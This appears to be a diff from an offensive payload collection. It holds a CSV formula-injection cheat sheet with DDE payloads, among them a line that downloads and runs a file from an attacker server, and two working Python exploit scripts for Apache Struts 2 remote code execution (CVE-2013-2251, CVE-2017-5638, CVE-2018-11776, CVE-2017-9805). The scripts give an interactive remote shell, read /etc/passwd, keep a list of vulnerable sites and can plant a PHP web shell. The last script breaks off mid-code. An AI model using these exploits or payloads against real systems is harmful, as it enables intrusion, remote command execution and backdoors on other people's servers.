+ > Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
4
+
5
+
6
+ ## Summary
7
+
8
+ * [Methodology](#methodology)
9
+ * [References](#references)
10
+
11
+
12
+ ## Methodology
13
+
14
+ CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
15
+
16
+ ```powershell
17
+ =
18
+ +
19
+
20
+ @
21
+ ```
22
+
23
+
24
+ Basic exploits with **Dynamic Data Exchange**.
25
+
26
+ * Spawn a calc
27
+ ```powershell
28
+ DDE ("cmd";"/C calc";"!A0")A0
29
+ @SUM(1+1)*cmd|' /C calc'!A0
30
+ =2+5+cmd|' /C calc'!A0
31
+ =cmd|' /C calc'!'A1'
32
+ ```
33
+
34
+ * PowerShell download and execute
35
+ ```powershell
36
+ =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
37
+ ```
38
+
39
+ * Prefix obfuscation and command chaining
40
+ ```powershell
41
+ =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
42
+ =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
43
+ = cmd|'/c calc.exe'!A
44
+ ```
45
+
46
+ * Using rundll32 instead of cmd
47
+ ```powershell
48
+ =rundll32|'URL.dll,OpenURL calc.exe'!A
49
+ =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
50
+ ```
51
+
52
+ * Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
53
+ ```powershell
54
+ = C m D | '/ c c al c . e x e ' ! A
55
+ ```
56
+
57
+ Technical details of the above payloads:
58
+
59
+ - `cmd` is the name the server can respond to whenever a client is trying to access the server
60
+ - `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
61
+ - `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
62
+
63
+
64
+ ## References
65
+
66
+ - [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
67
+ - [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
68
+ - [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
69
+ - [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
70
+ - [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
71
+ - [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
72
+ - [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
payloads/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py ADDED
@@ -0,0 +1,215 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/python
2
+
3
+ from __future__ import print_function
4
+ from future import standard_library
5
+ standard_library.install_aliases()
6
+ from builtins import input
7
+ from builtins import str
8
+ import urllib.request, urllib.error, urllib.parse
9
+ import time
10
+ import sys
11
+ import os
12
+ import subprocess
13
+ import requests
14
+ import readline
15
+ import urllib.parse
16
+
17
+ RED = '\033[1;31m'
18
+ BLUE = '\033[94m'
19
+ BOLD = '\033[1m'
20
+ GREEN = '\033[32m'
21
+ OTRO = '\033[36m'
22
+ YELLOW = '\033[33m'
23
+ ENDC = '\033[0m'
24
+
25
+ def cls():
26
+ os.system(['clear', 'cls'][os.name == 'nt'])
27
+ cls()
28
+
29
+ logo = BLUE+'''
30
+ ___ _____ ___ _ _ _____ ___
31
+ ( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
32
+ | (_(_) | | | (_) )| | | | | | | (_(_)
33
+ `\__ \ | | | , / | | | | | | `\__ \
34
+ ( )_) | | | | |\ \ | (_) | | | ( )_) |
35
+ `\____) (_) (_) (_)(_____) (_) `\____)
36
+
37
+ =[ Command Execution v3]=
38
+ By @s1kr10s
39
+ '''+ENDC
40
+ print(logo)
41
+
42
+ print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
43
+ host = input(BOLD+" [+] HOST: "+ENDC)
44
+
45
+ if len(host) > 0:
46
+ if host.find("https://") != -1 or host.find("http://") != -1:
47
+
48
+ poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
49
+
50
+ def exploit(comando):
51
+ exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
52
+ return exploit
53
+
54
+ def exploit2(comando):
55
+ exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
56
+ return exploit2
57
+
58
+ def exploit3(comando):
59
+ exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
60
+ return exploit3
61
+
62
+ def pwnd(shellfile):
63
+ exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
64
+ return exploitfile
65
+
66
+ def validador():
67
+ arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
68
+ return arr_lin_win
69
+
70
+ #def reversepl(ip,port):
71
+ # print "perl"
72
+
73
+ #def reversepy(ip,port):
74
+ # print "python"
75
+
76
+ # CVE-2013-2251 ---------------------------------------------------------------------------------
77
+ try:
78
+ response = ''
79
+ response = urllib.request.urlopen(host+poc)
80
+ except:
81
+ print(RED+" Servidor no responde\n"+ENDC)
82
+ exit(0)
83
+
84
+ print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
85
+
86
+ if response.read().find("mamalo") != -1:
87
+ print(RED+" [-] VULNERABLE"+ENDC)
88
+ owned = open('vulnsite.txt', 'a')
89
+ owned.write(str(host)+'\n')
90
+ owned.close()
91
+
92
+ opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
93
+ #print BOLD+" * [SHELL REVERSA]"+ENDC
94
+ #print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
95
+ if opcion == 's':
96
+ print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
97
+ time.sleep(1)
98
+ print(BOLD+" * [UPLOAD SHELL]"+ENDC)
99
+ print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
100
+
101
+ while 1:
102
+ separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
103
+ espacio = separador.split(' ')
104
+ comando = "','".join(espacio)
105
+
106
+ if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
107
+ shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
108
+ print("\n"+shell.read())
109
+ elif espacio[0] == 'pwnd':
110
+ pathsave=input("path EJ:/tmp/: ")
111
+
112
+ if espacio[1] == 'php':
113
+ shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
114
+ urllib.request.urlopen(host+pwnd(str(shellfile)))
115
+ shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
116
+ if shell.read().find(pathsave+"status.php") != -1:
117
+ print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
118
+ else:
119
+ print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
120
+
121
+ # CVE-2017-5638 ---------------------------------------------------------------------------------
122
+ print(BLUE+" [-] NO VULNERABLE"+ENDC)
123
+ print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
124
+ x = 0
125
+ while x < len(validador()):
126
+ valida = validador()[x]
127
+
128
+ try:
129
+ req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
130
+ result = urllib.request.urlopen(req).read()
131
+
132
+ if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
133
+ print(RED+" [-] VULNERABLE"+ENDC)
134
+ owned = open('vulnsite.txt', 'a')
135
+ owned.write(str(host)+'\n')
136
+ owned.close()
137
+
138
+ opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
139
+ if opcion == 's':
140
+ print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
141
+ time.sleep(1)
142
+
143
+ while 1:
144
+ try:
145
+ separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
146
+ req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
147
+ result = urllib.request.urlopen(req).read()
148
+ print("\n"+result)
149
+ except:
150
+ exit(0)
151
+ else:
152
+ x = len(validador())
153
+ else:
154
+ print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
155
+ except:
156
+ pass
157
+ x=x+1
158
+
159
+ # CVE-2018-11776 ---------------------------------------------------------------------------------
160
+ print(BLUE+" [-] NO VULNERABLE"+ENDC)
161
+ print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
162
+ x = 0
163
+ while x < len(validador()):
164
+ #Filtramos la url solo dominio
165
+ url = host.replace('#', '%23')
166
+ url = host.replace(' ', '%20')
167
+ if ('://' not in url):
168
+ url = str("http://") + str(url)
169
+ scheme = urllib.parse.urlparse(url).scheme
170
+ site = scheme + '://' + urllib.parse.urlparse(url).netloc
171
+
172
+ #Filtramos la url solo path
173
+ file_path = urllib.parse.urlparse(url).path
174
+ if (file_path == ''):
175
+ file_path = '/'
176
+
177
+ valida = validador()[x]
178
+ try:
179
+ result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
180
+
181
+ if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
182
+ print(RED+" [-] VULNERABLE"+ENDC)
183
+ owned = open('vulnsite.txt', 'a')
184
+ owned.write(str(host)+'\n')
185
+ owned.close()
186
+
187
+ opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
188
+ if opcion == 's':
189
+ print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
190
+ time.sleep(1)
191
+ print(BOLD+" * [UPLOAD SHELL]"+ENDC)
192
+ print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
193
+
194
+ while 1:
195
+ separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
196
+ espacio = separador.split(' ')
197
+ comando = "%20".join(espacio)
198
+
199
+ shell = urllib.request.urlopen(host+exploit3(str(comando)))
200
+ print("\n"+shell.read())
201
+
202
+ else:
203
+ x = len(validador())
204
+ exit(0)
205
+ else:
206
+ print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
207
+ except:
208
+ pass
209
+ x=x+1
210
+ else:
211
+ print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
212
+ exit(0)
213
+ else:
214
+ print(RED+" Debe Ingresar una Url\n"+ENDC)
215
+ exit(0)
payloads/CVE Exploits/Apache Struts 2 CVE-2017-9805.py ADDED
@@ -0,0 +1,326 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ # coding=utf-8
3
+ # *****************************************************
4
+ # struts-pwn: Apache Struts CVE-2017-9805 Exploit
5
+ # Author:
6
+ # Mazin Ahmed <Mazin AT MazinAhmed DOT net>
7
+ # This code is based on:
8
+ # https://github.com/rapid7/metasploit-framework/pull/8924
9
+ # https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
10
+ # *****************************************************
11
+ from __future__ import print_function
12
+ from builtins import str
13
+ import argparse
14
+ import requests
15
+ import sys
16
+
17
+ # Disable SSL warnings
18
+ try:
19
+ import requests.packages.urllib3
20
+ requests.packages.urllib3.disable_warnings()
21
+ except Exception:
22
+ pass
23
+
24
+ if len(sys.argv) <= 1:
25
+ print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
26
+ print('[*] Struts-PWN - @mazen160')
27
+ print('\n%s -h for help.' % (sys.argv[0]))
28
+ exit(0)
29
+
30
+ parser = argparse.ArgumentParser()
31
+ parser.add_argument("-u", "--url",
32
+ dest="url",
33
+ help="Check a single URL.",
34
+ action='store')
35
+ parser.add_argument("-l", "--list",
36
+ dest="usedlist",
37
+ help="Check a list of URLs.",
38
+ action='store')
39
+ parser.add_argument("-c", "--cmd",
40
+ dest="cmd",
41
+ help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
42
+ action='store',
43
+ default='echo test > /tmp/struts-pwn')
44
+ parser.add_argument("--exploit",
45
+ dest="do_exploit",
46
+ help="Exploit.",
47
+ action='store_true')
48
+ args = parser.parse_args()
49
+ url = args.url if args.url else None
50
+ usedlist = args.usedlist if args.usedlist else None
51
+ url = args.url if args.url else None
52
+ cmd = args.cmd if args.cmd else None
53
+ do_exploit = args.do_exploit if args.do_exploit else None
54
+
55
+
56
+ def url_prepare(url):
57
+ url = url.replace('#', '%23')
58
+ url = url.replace(' ', '%20')
59
+ if ('://' not in url):
60
+ url = str('http') + str('://') + str(url)
61
+ return(url)
62
+
63
+
64
+ def exploit(url, cmd, dont_print_status_on_console=False):
65
+ url = url_prepare(url)
66
+ if dont_print_status_on_console is False:
67
+ print('\n[*] URL: %s' % (url))
68
+ print('[*] CMD: %s' % (cmd))
69
+ cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
70
+
71
+ payload = """
72
+ <map>
73
+ <entry>
74
+ <jdk.nashorn.internal.objects.NativeString>
75
+ <flags>0</flags>
76
+ <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
77
+ <dataHandler>
78
+ <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
79
+ <is class="javax.crypto.CipherInputStream">
80
+ <cipher class="javax.crypto.NullCipher">
81
+ <initialized>false</initialized>
82
+ <opmode>0</opmode>
83
+ <serviceIterator class="javax.imageio.spi.FilterIterator">
84
+ <iter class="javax.imageio.spi.FilterIterator">
85
+ <iter class="java.util.Collections$EmptyIterator"/>
86
+ <next class="java.lang.ProcessBuilder">
87
+ <command>
88
+ {0}
89
+ </command>
90
+ <redirectErrorStream>false</redirectErrorStream>
91
+ </next>
92
+ </iter>
93
+ <filter class="javax.imageio.ImageIO$ContainsFilter">
94
+ <method>
95
+ <class>java.lang.ProcessBuilder</class>
96
+ <name>start</name>
97
+ <parameter-types/>
98
+ </method>
99
+ <name>foo</name>
100
+ </filter>
101
+ <next class="string">foo</next>
102
+ </serviceIterator>
103
+ <lock/>
104
+ </cipher>
105
+ <input class="java.lang.ProcessBuilder$NullInputStream"/>
106
+ <ibuffer/>
107
+ <done>false</done>
108
+ <ostart>0</ostart>
109
+ <ofinish>0</ofinish>
110
+ <closed>false</closed>
111
+ </is>
112
+ <consumed>false</consumed>
113
+ </dataSource>
114
+ <transferFlavors/>
115
+ </dataHandler>
116
+ <dataLen>0</dataLen>
117
+ </value>
118
+ </jdk.nashorn.internal.objects.NativeString>
119
+ <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
120
+ </entry>
121
+ <entry>
122
+ <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
123
+ <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
124
+ </entry>
125
+ </map>
126
+ """.format(cmd)
127
+
128
+ headers = {
129
+ 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
130
+ # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
131
+ 'Referer': str(url),
132
+ 'Content-Type': 'application/xml',
133
+ 'Accept': '*/*'
134
+ }
135
+
136
+ timeout = 3
137
+ try:
138
+ output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
139
+ except Exception as e:
140
+ print("EXCEPTION::::--> " + str(e))
141
+ output = 'ERROR'
142
+ return(output)
143
+
144
+
145
+ def check(url):
146
+ url = url_prepare(url)
147
+ print('\n[*] URL: %s' % (url))
148
+
149
+ initial_request = exploit(url, "", dont_print_status_on_console=True)
150
+ if initial_request == "ERROR":
151
+ result = False
152
+ print("The host does not respond as expected.")
153
+ return(result)
154
+
155
+ payload_sleep_based_10seconds = """
156
+ <map>
157
+ <entry>
158
+ <jdk.nashorn.internal.objects.NativeString>
159
+ <flags>0</flags>
160
+ <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
161
+ <dataHandler>
162
+ <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
163
+ <is class="javax.crypto.CipherInputStream">
164
+ <cipher class="javax.crypto.NullCipher">
165
+ <initialized>false</initialized>
166
+ <opmode>0</opmode>
167
+ <serviceIterator class="javax.imageio.spi.FilterIterator">
168
+ <iter class="javax.imageio.spi.FilterIterator">
169
+ <iter class="java.util.Collections$EmptyIterator"/>
170
+ <next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
171
+ <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
172
+ <default>
173
+ <__name>Pwnr</__name>
174
+ <__bytecodes>
175
+ <byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
176
+ dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
177
+ EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
178
+ bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
179
+ bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
180
+ c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
181
+ aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
182
+ YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
183
+ eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
184
+ cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
185
+ L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
186
+ L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
187
+ KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
188
+ eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
189
+ L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
190
+ amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
191
+ ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
192
+ bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
193
+ YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
194
+ L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
195
+ BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
196
+ MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
197
+ AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
198
+ AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
199
+ AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
200
+ AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
201
+ AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
202
+ AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
203
+ </byte-array>
204
+ <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
205
+ dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
206
+ EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
207
+ aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
208
+ YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
209
+ bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
210
+ bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
211
+ AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
212
+ AAoAAQACABYAEAAJ</byte-array>
213
+ </__bytecodes>
214
+ <__transletIndex>-1</__transletIndex>
215
+ <__indentNumber>0</__indentNumber>
216
+ </default>
217
+ <boolean>false</boolean>
218
+ </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
219
+ </next>
220
+ </iter>
221
+ <filter class="javax.imageio.ImageIO$ContainsFilter">
222
+ <method>
223
+ <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
224
+ <name>newTransformer</name>
225
+ <parameter-types/>
226
+ </method>
227
+ <name>foo</name>
228
+ </filter>
229
+ <next class="string">foo</next>
230
+ </serviceIterator>
231
+ <lock/>
232
+ </cipher>
233
+ <input class="java.lang.ProcessBuilder$NullInputStream"/>
234
+ <ibuffer/>
235
+ <done>false</done>
236
+ <ostart>0</ostart>
237
+ <ofinish>0</ofinish>
238
+ <closed>false</closed>
239
+ </is>
240
+ <consumed>false</consumed>
241
+ </dataSource>
242
+ <transferFlavors/>
243
+ </dataHandler>
244
+ <dataLen>0</dataLen>
245
+ </value>
246
+ </jdk.nashorn.internal.objects.NativeString>
247
+ <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
248
+ </entry>
249
+ <entry>
250
+ <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
251
+ <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
252
+ </entry>
253
+ </map>
254
+ """
255
+ headers = {
256
